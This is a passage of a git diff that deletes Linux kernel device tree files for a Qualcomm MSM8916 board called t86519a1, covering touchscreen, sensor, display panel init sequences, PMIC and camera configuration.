senodia,axis-map-y = <0>; - senodia,axis-map-z = <2>; - senodia,negate-y; - }; - - lsm6ds0@6b { - compatible = "st,lsm6dx0"; - reg = <0x6b>; - rot-matrix = /bits/ 16 - <(-1) (0) (0) - (0) (-1) (0) - (0) (0) (1)>; - g-poll-interval = <100>; - g-min-interval = <2>; - g-fs-range = <0>; - x-poll-interval = <100>; - x-min-interval = <1>; - x-fs-range = <0>; - aa-filter-bw = <0>; - }; -}; - -&i2c_5 { - tsc@24 { - compatible = "cy,cyttsp4_i2c_adapter"; - reg = <0x24>; - interrupts = <13 0x2008>; - interrupt-parent = <&msm_gpio>; - vdd-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - pinctrl-names = "pmx_ts_active","pmx_ts_suspend"; - pinctrl-0 = <&ts_int_active &ts_reset_active>; - pinctrl-1 = <&ts_int_suspend &ts_reset_suspend>; - cy,adapter_id = "cyttsp4_i2c_adapter"; - - cy,core { - cy,name = "cyttsp4_core"; - cy,id = "main_ttsp_core"; - cy,num-max-touches = <5>; - cy,irq_gpio = <&msm_gpio 13 0x2008>; - cy,rst_gpio = <&msm_gpio 12 0x00>; - cy,flags = <1>; - cy,easy_wakeup_gesture = <3>; - cy,btn_keys = <158 172 580>; - cy,btn_keys-tag = <0>; - - cy,mt { - cy,name = "cyttsp4_mt"; - cy,inp_dev_name = "cyttsp4_mt"; - cy,flags = <0x40>; - cy,abs = <0x35 0 1080 0 0 - 0x36 0 1920 0 0 - 0x3a 0 255 0 0 - 0xffff 0 255 0 0 - 0x39 0 15 0 0 - 0x30 0 255 0 0 - 0x31 0 255 0 0 - 0x34 0xfffffed7 127 0 0>; - cy,vkeys_x = <1080>; - cy,vkeys_y = <1920>; - cy,virtual_keys = <158 180 2009 360 142 - 172 540 2009 360 142 - 139 900 2009 360 142>; - }; - - cy,btn { - cy,name = "cyttsp4_btn"; - cy,inp_dev_name = "cyttsp4_btn"; - }; - }; - }; -}; - -&android_usb { - qcom,android-usb-cdrom; -}; - -&apc_vreg_corner { - vdd-apc-supply = <&fan53555>; - qcom,cpr-step-quotient = <26>; - qcom,cpr-apc-volt-step = <12500>; - qcom,cpr-up-threshold = <2>; -}; - -&mdss_dsi0 { - pinctrl-names = "mdss_default", "mdss_sleep"; - pinctrl-0 = <&mdss_dsi_active>; - pinctrl-1 = <&mdss_dsi_suspend>; - qcom,platform-reset-gpio = <&msm_gpio 25 0>; -}; - -&mdss_mdp { - qcom,mdss-pref-prim-intf = "dsi"; -}; - -&pmx_mdss { - qcom,num-grp-pins = <2>; - qcom,pins = <&gp 1>, <&gp 25>; -}; - -&qcom_tzlog { - status = "okay"; -}; - -&qcom_rng { - status = "okay"; -}; - -&qcom_crypto { - status = "okay"; -}; - -&qcom_cedev { - status = "okay"; -}; - -&qcom_seecom { - status = "okay"; -}; - -&sdhc_1 { - vdd-supply = <&pm8916_l8>; - qcom,vdd-voltage-level = <2900000 2900000>; - qcom,vdd-current-level = <200 400000>; - - vdd-io-supply = <&pm8916_l5>; - qcom,vdd-io-always-on; - qcom,vdd-io-lpm-sup; - qcom,vdd-io-voltage-level = <1800000 1800000>; - qcom,vdd-io-current-level = <200 60000>; - - pinctrl-names = "active", "sleep"; - pinctrl-0 = <&sdc1_clk_on &sdc1_cmd_on &sdc1_data_on>; - pinctrl-1 = <&sdc1_clk_off &sdc1_cmd_off &sdc1_data_off>; - - qcom,nonremovable; - - status = "ok"; -}; - -&sdc2_cd_on { - /delete-property/ bias-pull-up; - bias-pull-down; -}; - -&sdc2_cd_off { - /delete-property/ bias-disable; - bias-pull-up; -}; - -&sdhc_2 { - vdd-supply = <&pm8916_l11>; - qcom,vdd-voltage-level = <2800000 2950000>; - qcom,vdd-current-level = <15000 400000>; - - vdd-io-supply = <&pm8916_l12>; - qcom,vdd-io-voltage-level = <1800000 2950000>; - qcom,vdd-io-current-level = <200 50000>; - - pinctrl-names = "active", "sleep"; - pinctrl-0 = <&sdc2_clk_on &sdc2_cmd_on &sdc2_data_on &sdc2_cd_on>; - pinctrl-1 = <&sdc2_clk_off &sdc2_cmd_off &sdc2_data_off &sdc2_cd_off>; - - #address-cells = <0>; - interrupt-parent = <&sdhc_2>; - interrupts = <0 1>; - #interrupt-cells = <1>; - interrupt-map-mask = <0xffffffff>; - interrupt-map = <0 &intc 0 125 0 - 1 &intc 0 221 0>; - interrupt-names = "hc_irq", "pwr_irq"; - - cd-gpios = <&msm_gpio 38 0>; - - status = "ok"; -}; - -&usb_otg { - qcom,hsusb-otg-mode = <3>; - qcom,usbid-gpio = <&msm_gpio 110 0>; - pinctrl-names = "default"; - pinctrl-0 = <&usbid_default>; - vbus_otg-supply = <&smb1360_otg_supply>; -}; diff --git a/arch/arm/boot/dts/qcom/t86519a1/dsi-panel-ofilm-hx8394d-720p-video.dtsi b/arch/arm/boot/dts/qcom/t86519a1/dsi-panel-ofilm-hx8394d-720p-video.dtsi deleted file mode 100644 index 80e60f6aa56cc..0000000000000 --- a/arch/arm/boot/dts/qcom/t86519a1/dsi-panel-ofilm-hx8394d-720p-video.dtsi +++ /dev/null @@ -1,87 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/*--------------------------------------------------------------------------- - * This file is autogenerated file using gcdb parser. Please do not edit it. - * Update input XML file to add a new entry or update variable in this file - * VERSION = "1.0" - *---------------------------------------------------------------------------*/ -&mdss_mdp { - dsi_ofilm_hx8394d_720p_video: qcom,mdss_dsi_ofilm_hx8394d_720p_video { - qcom,mdss-dsi-panel-name = "ofilm_hx8394d_HD720p_video"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-dsi-h-front-porch = <70>; - qcom,mdss-dsi-h-back-porch = <70>; - qcom,mdss-dsi-h-pulse-width = <20>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <9>; - qcom,mdss-dsi-v-front-porch = <12>; - qcom,mdss-dsi-v-pulse-width = <4>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-color-order = "rgb_swap_rgb"; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [39 01 00 00 00 00 04 B9 FF 83 94 - 39 01 00 00 00 00 03 BA 73 83 - 39 01 00 00 00 00 10 B1 6C 0E 0E 23 04 11 F1 81 28 95 23 80 C0 D2 58 - 39 01 00 00 00 00 0C B2 00 64 0E 0D 12 23 08 08 1C 4D 00 - 39 01 00 00 00 00 0D B4 00 FF 5C 5A 5C 5A 5C 5A 01 76 01 76 - 39 01 00 00 00 00 1F D3 00 00 00 00 00 10 10 32 10 01 00 01 32 13 C0 00 00 32 10 08 00 00 47 04 05 05 47 04 00 47 - 39 01 00 00 00 00 2D D5 01 00 03 02 05 04 07 06 21 20 23 22 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 19 19 18 18 - 39 01 00 00 00 00 2D D6 06 07 04 05 02 03 00 01 22 23 20 21 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 19 19 - 39 01 00 00 00 00 2B E0 00 10 17 2C 30 3F 27 46 07 0A 0C 17 0E 12 15 13 14 06 10 11 17 00 10 17 2C 30 3F 27 46 07 0A 0C 17 0E 12 15 13 14 06 10 11 17 - 39 01 00 00 00 00 02 CC 05 - 39 01 00 00 00 00 05 C7 00 C0 40 C0 - 39 01 00 00 00 00 03 C0 30 14 - 39 01 00 00 00 00 02 BC 07 - 39 01 00 00 00 00 03 B6 73 73 - 05 01 00 00 82 00 02 11 00 - 05 01 00 00 0A 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 - 05 01 00 00 78 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-lane-map = "lane_map_0123"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-lane-3-state; - qcom,mdss-dsi-panel-timings = [48 0c 08 00 2a 2e 0c 10 08 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x05>; - qcom,mdss-dsi-t-clk-pre = <0x12>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 20>, <0 10>, <1 100>; - qcom,mdss-dsi-lp11-init; - qcom,suspend-ulps-enabled; - }; -}; diff --git a/arch/arm/boot/dts/qcom/t86519a1/dsi-panel-txd-hx8394d-720p-video.dtsi b/arch/arm/boot/dts/qcom/t86519a1/dsi-panel-txd-hx8394d-720p-video.dtsi deleted file mode 100644 index 66bcff5387c42..0000000000000 --- a/arch/arm/boot/dts/qcom/t86519a1/dsi-panel-txd-hx8394d-720p-video.dtsi +++ /dev/null @@ -1,96 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/*--------------------------------------------------------------------------- - * This file is autogenerated file using gcdb parser. Please do not edit it. - * Update input XML file to add a new entry or update variable in this file - * VERSION = "1.0" - *---------------------------------------------------------------------------*/ -&mdss_mdp { - dsi_txd_hx8394d_720p_video: qcom,mdss_dsi_txd_hx8394d_720p_video { - qcom,mdss-dsi-panel-name = "txd_hx8394d_HD720p_video"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <58>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-dsi-h-front-porch = <100>; - qcom,mdss-dsi-h-back-porch = <100>; - qcom,mdss-dsi-h-pulse-width = <20>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-back-porch = <16>; - qcom,mdss-dsi-v-front-porch = <9>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-color-order = "rgb_swap_rgb"; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-on-command = [39 01 00 00 00 00 04 B9 FF 83 94 - 39 01 00 00 00 00 03 BA 73 83 - 39 01 00 00 00 00 10 B1 6A 15 15 13 04 11 F1 80 EC 55 23 80 C0 D2 58 - 39 01 00 00 00 00 0C B2 00 64 10 07 12 1C 08 08 1C 4D 00 - 39 01 00 00 00 00 0D B4 00 FF 03 5A 03 5A 03 5A 01 6a 01 6a - 39 01 00 00 00 00 02 BC 07 - 39 01 00 00 00 00 02 D2 55 - 39 01 00 00 00 00 1F D3 00 0F 00 40 1A 08 00 32 10 07 00 07 54 15 0F 05 04 02 12 10 05 07 33 33 0B 0B 37 10 07 07 - 39 01 00 00 00 00 2D D5 19 19 18 18 1B 1B 1A 1A 04 05 06 07 00 01 02 03 20 21 18 18 22 23 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 - 39 01 00 00 00 00 2D D6 18 18 19 19 1B 1B 1A 1A 03 02 01 00 07 06 05 04 23 22 18 18 21 20 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 - 39 01 00 00 00 00 03 B6 80 80 - 39 01 00 00 00 00 2B E0 00 03 09 2D 33 3F 16 38 06 0A 0C 18 0D 11 13 11 11 06 10 12 16 00 03 09 2D 33 3f 16 38 06 0A 0C 18 0D 11 13 11 11 06 10 12 16 - 39 01 00 00 00 00 02 BD 00 - 39 01 00 00 00 00 2C C1 01 00 08 0F 16 1D 24 2C 34 3B 41 46 4C 54 5C 64 6B 72 79 80 86 8D 95 9C A2 A8 AF B6 BD C4 CC D4 DA E0 15 69 0A A4 03 C1 90 A2 C0 - 39 01 00 00 00 00 02 BD 01 - 39 01 00 00 00 00 2B C1 00 08 0F 16 1D 24 2C 34 3B 41 46 4C 54 5C 64 6B 72 79 80 86 8D 95 9C A2 A8 AF B6 BD C4 CC D4 DA E0 15 69 0A A4 03 C1 90 A2 C0 - 39 01 00 00 00 00 02 BD 02 - 39 01 00 00 00 00 2B C1 00 09 11 19 21 29 33 3A 41 48 4F 59 61 69 71 79 81 89 91 99 A0 A8 AF B7 C0 C8 D1 D9 E0 E7 EF F7 FF 14 B3 CC FE 97 CE 21 76 C0 - 39 01 00 00 0A 00 03 E4 01 01 - 39 01 00 00 00 00 03 C0 30 14 - 39 01 00 00 00 00 05 C7 00 C0 00 C0 - 39 01 00 00 00 00 02 CC 05 - 39 01 00 00 00 00 02 DF 88 - 05 01 00 00 78 00 02 11 00 - 05 01 00 00 00 00 02 29 00]; - qcom,mdss-dsi-off-command = [05 01 00 00 32 00 02 28 00 - 05 01 00 00 78 00 02 10 00]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_hs_mode"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-lane-map = "lane_map_0123"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-lane-3-state; - qcom,mdss-dsi-panel-timings = [7B 1A 10 00 3E 40 16 1C 15 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x04>; - qcom,mdss-dsi-t-clk-pre = <0x1A>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-bl-pmic-pwm-frequency = <100>; - qcom,mdss-dsi-bl-pmic-bank-select = <0>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_pwm"; - qcom,mdss-dsi-reset-sequence = <1 20>, <0 10>, <1 100>; - qcom,mdss-dsi-lp11-init; - qcom,suspend-ulps-enabled; - }; -}; diff --git a/arch/arm/boot/dts/qcom/t86519a1/msm-pm8916-t86519a1.dtsi b/arch/arm/boot/dts/qcom/t86519a1/msm-pm8916-t86519a1.dtsi deleted file mode 100644 index a3188a9153166..0000000000000 --- a/arch/arm/boot/dts/qcom/t86519a1/msm-pm8916-t86519a1.dtsi +++ /dev/null @@ -1,19 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&spmi_bus { - qcom,pm8916@0 { - pm8916_rtc: qcom,pm8916_rtc { - qcom,qpnp-rtc-alarm-pwrup = <1>; - }; - }; -}; diff --git a/arch/arm/boot/dts/qcom/t86519a1/msm8916-camera-sensor-t86519a1.dtsi b/arch/arm/boot/dts/qcom/t86519a1/msm8916-camera-sensor-t86519a1.dtsi deleted file mode 100644 index f8ad0e6dd4469..0000000000000 --- a/arch/arm/boot/dts/qcom/t86519a1/msm8916-camera-sensor-t86519a1.dtsi +++ /dev/null @@ -1,277 +0,0 @@ -/* - * Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&soc { - led_flash0: qcom,camera-led-flash { - cell-index = <0>; - compatible = "qcom,camera-led-flash"; - qcom,flash-type = <3>; - qcom,flash-source = <&flash_ocp8110>; - qcom,torch-source = <&flash_ocp8110>; - }; -}; - -&cci { - - actuator0: qcom,actuator@6e { - cell-index = <3>; - reg = <0x6e>; - compatible = "qcom,actuator"; - qcom,cci-master = <0>; - }; - - eeprom0: qcom,eeprom@6c { - cell-index = <3>; - reg = <0x6c>; - qcom,eeprom-name = "sunny_q8v18a_t86519a1"; - compatible = "qcom,eeprom"; - qcom,slave-addr = <0x6c>; - qcom,cci-master = <0>; - qcom,num-blocks = <6>; - qcom,page0 = <1 0x0100 2 0x01 1 1>; - qcom,poll0 = <0 0x0 2 0 1 1>; - qcom,mem0 = <0 0x0 2 0 1 0>; - qcom,page1 = <1 0x5002 2 0x00 1 1>; - qcom,poll1 = <0 0x0 2 0 1 1>; - qcom,mem1 = <0 0x0 2 0 1 0>; - qcom,page2 = <1 0x3d84 2 0xc0 1 1>; - qcom,poll2 = <0 0x0 2 0 1 1>; - qcom,mem2 = <0 0x3d00 2 0 1 0>; - qcom,page3 = <1 0x3d88 2 0x7010 2 1>; - qcom,poll3 = <0 0x0 2 0 1 1>; - qcom,mem3 = <0 0x3d00 2 0 1 0>; - qcom,page4 = <1 0x3d8A 2 0x7106 2 1>; - qcom,pageen4 = <1 0x3d81 2 0x01 1 10>; - qcom,poll4 = <0 0x0 2 0 1 1>; - qcom,mem4 = <246 0x7010 2 0 1 1>; - qcom,page5 = <1 0x5002 2 0x08 1 1>; - qcom,poll5 = <0 0x0 2 0 1 1>; - qcom,mem5 = <0 0x0 2 0 1 0>; - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; - cam_vana-supply = <&pm8916_l10>; - cam_vaf-supply = <&pm8916_l17>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana","cam_vaf"; - qcom,cam-vreg-type = <0 0 0 0>; - qcom,cam-vreg-min-voltage = <1200000 1800000 2800000 2850000>; - qcom,cam-vreg-max-voltage = <1200000 1800000 2800000 2850000>; - qcom,cam-vreg-op-mode = <200000 200000 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-req-tbl-num = <0 1 2 >; - qcom,gpio-req-tbl-flags = <1 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET1", - "CAM_STANDBY"; - qcom,cam-power-seq-type = "sensor_vreg", - "sensor_vreg", - "sensor_vreg", - "sensor_vreg", - "sensor_gpio", - "sensor_gpio", - "sensor_gpio", - "sensor_gpio", - "sensor_clk"; - qcom,cam-power-seq-val = "cam_vio", - "cam_vana", - "cam_vdig", - "cam_vaf", - "sensor_gpio_standby", - "sensor_gpio_reset", - "sensor_gpio_standby", - "sensor_gpio_reset", - "sensor_cam_mclk" ; - qcom,cam-power-seq-cfg-val = <1 1 1 1 0 0 1 1 23880000>; - qcom,cam-power-seq-delay = <1 10 10 5 10 10 10 10 10>; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - eeprom1: qcom,eeprom@20 { - cell-index = <4>; - reg = <0x20>; - qcom,eeprom-name = "ov5670"; - compatible = "qcom,eeprom"; - qcom,slave-addr = <0x20>; - qcom,cci-master = <0>; - qcom,num-blocks = <9>; - qcom,page0 = <1 0x100 2 0x01 1 5>; - qcom,pageen0 = <0 0x0A00 2 0x01 1 5>; - qcom,poll0 = <0 0x0 2 0 1 1>; - qcom,mem0 = <0 0x0 2 0 1 1>; - qcom,page1 = <1 0x5002 2 0xa0 1 5>; - qcom,pageen1 = <0 0x0A00 2 0x01 1 5>; - qcom,poll1 = <0 0x0 2 0 1 1>; - qcom,mem1 = <0 0x0 2 0 1 1>; - qcom,page2= <1 0X3D84 2 0XC0 1 1>; - qcom,pageen2 = <0 0X3D88 2 0X70 1 5>; - qcom,poll2 = <0 0x0 2 0 1 1>; - qcom,mem2 = <0 0x0 2 0 1 1>; - qcom,page3= <0 0X3D85 2 0X17 1 1>; - qcom,pageen3 = <0 0X3D88 2 0X70 1 5>; - qcom,poll3 = <0 0x0 2 0 1 1>; - qcom,mem3 = <0 0x0 2 0 1 1>; - qcom,page4= <0 0X3D86 2 0XC0 1 1>; - qcom,pageen4 = <0 0X3D88 2 0X70 1 5>; - qcom,poll4 = <0 0x0 2 0 1 1>; - qcom,mem4 = <0 0x0 2 0 1 1>; - qcom,page5= <1 0X3D88 2 0X70 1 5>; - qcom,pageen5 = <0 0X3D88 2 0X70 1 5>; - qcom,poll5 = <0 0x0 2 0 1 1>; - qcom,mem5 = <0 0x0 2 0 1 1>; - qcom,page6 = <1 0X3D89 2 0X10 1 1>; - qcom,pageen6 = <0 0X3D8A 2 0X70 1 5>; - qcom,poll6 = <0 0x0A23 2 0x01 1 1>; - qcom,mem6 = <0 0x0A04 2 0 1 1>; - qcom,page7 = <1 0X3D8A 2 0X70 1 5>; - qcom,pageen7 = <0 0X3D8A 2 0X70 1 5>; - qcom,poll7 = <0 0x0A23 2 0x01 1 1>; - qcom,mem7 = <0 0x0A04 2 0 1 1>; - qcom,page8 = <1 0X3D8B 2 0X29 1 1>; - qcom,pageen8 = <1 0X3D81 2 0x01 1 5>; - qcom,poll8 = <0 0x0 2 0 1 1>; - qcom,mem8 = <26 0X7010 2 0 1 1>; - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; - cam_vana-supply = <&pm8916_l17>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana"; - qcom,cam-vreg-type = <0 0 0>; - qcom,cam-vreg-min-voltage = <1200000 1800000 2850000>; - qcom,cam-vreg-max-voltage = <1200000 1800000 2850000>; - qcom,cam-vreg-op-mode = <200000 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default>; - pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; - gpios = <&msm_gpio 27 0>, - <&msm_gpio 28 0>, - <&msm_gpio 33 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-req-tbl-num = <0 1 2>; - qcom,gpio-req-tbl-flags = <1 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET", - "CAM_STANDBY"; - qcom,cam-power-seq-type = "sensor_vreg", - "sensor_vreg", - "sensor_vreg", - "sensor_gpio", - "sensor_gpio", - "sensor_gpio", - "sensor_gpio", - "sensor_clk"; - qcom,cam-power-seq-val = "cam_vio", - "cam_vana", - "cam_vdig", - "sensor_gpio_standby", - "sensor_gpio_reset", - "sensor_gpio_standby", - "sensor_gpio_reset", - "sensor_cam_mclk" ; - qcom,cam-power-seq-cfg-val = <1 1 1 0 0 1 1 23880000>; - qcom,cam-power-seq-delay = <1 10 10 10 10 10 10 10>; - clocks = <&clock_gcc clk_mclk1_clk_src>, - <&clock_gcc clk_gcc_camss_mclk1_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@0 { - cell-index = <0>; - compatible = "qcom,camera"; - reg = <0x0>; - qcom,csiphy-sd-index = <0>; - qcom,csid-sd-index = <0>; - qcom,mount-angle = <90>; - qcom,actuator-src = <&actuator0>; - qcom,eeprom-src = <&eeprom0>; - qcom,led-flash-src = <&led_flash0>; - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; - cam_vana-supply = <&pm8916_l10>; - cam_vaf-supply = <&pm8916_l17>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana","cam_vaf"; - qcom,cam-vreg-type = <0 0 0 0>; - qcom,cam-vreg-min-voltage = <1200000 1800000 2800000 2850000>; - qcom,cam-vreg-max-voltage = <1200000 1800000 2800000 2850000>; - qcom,cam-vreg-op-mode = <200000 200000 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 35 0>, - <&msm_gpio 34 0>, - <&msm_gpio 120 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-af-pwdm = <3>; - qcom,gpio-req-tbl-num = <0 1 2 3>; - qcom,gpio-req-tbl-flags = <1 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET1", - "CAM_STANDBY", - "CAM_AF_PWDM"; - qcom,sensor-position = <0>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - qcom,mclk-23880000; - status = "ok"; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@1 { - cell-index = <1>; - compatible = "qcom,camera"; - reg = <0x1>; - qcom,csiphy-sd-index = <1>; - qcom,csid-sd-index = <1>; - qcom,mount-angle = <270>; - qcom,eeprom-src = <&eeprom1>; - cam_vdig-supply = <&pm8916_l2>; - cam_vio-supply = <&pm8916_l6>; - cam_vana-supply = <&pm8916_l17>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana"; - qcom,cam-vreg-type = <0 0 0>; - qcom,cam-vreg-min-voltage = <1200000 1800000 2850000>; - qcom,cam-vreg-max-voltage = <1200000 1800000 2850000>; - qcom,cam-vreg-op-mode = <200000 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk1_default &cam_sensor_front_default>; - pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; - gpios = <&msm_gpio 27 0>, - <&msm_gpio 28 0>, - <&msm_gpio 33 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-req-tbl-num = <0 1 2>; - qcom,gpio-req-tbl-flags = <1 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET", - "CAM_STANDBY"; - qcom,sensor-position = <1>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - status = "ok"; - clocks = <&clock_gcc clk_mclk1_clk_src>, - <&clock_gcc clk_gcc_camss_mclk1_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; -}; diff --git a/arch/arm/boot/dts/qcom/t86519a1/msm8916-t86519a1.dtsi b/arch/arm/boot/dts/qcom/t86519a1/msm8916-t86519a1.dtsi deleted file mode 100644 index f6326e53d2648..0000000000000 --- a/arch/arm/boot/dts/qcom/t86519a1/msm8916-t86519a1.dtsi +++ /dev/null @@ -1,500 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "msm8916-camera-sensor-t86519a1.dtsi" -#include "msm-pm8916-t86519a1.dtsi" -#include "dsi-panel-txd-hx8394d-720p-video.dtsi" -#include "dsi-panel-ofilm-hx8394d-720p-video.dtsi" - -/ { - aliases { - i2c3 = &i2c_3; /* I2C4 controller device */ - 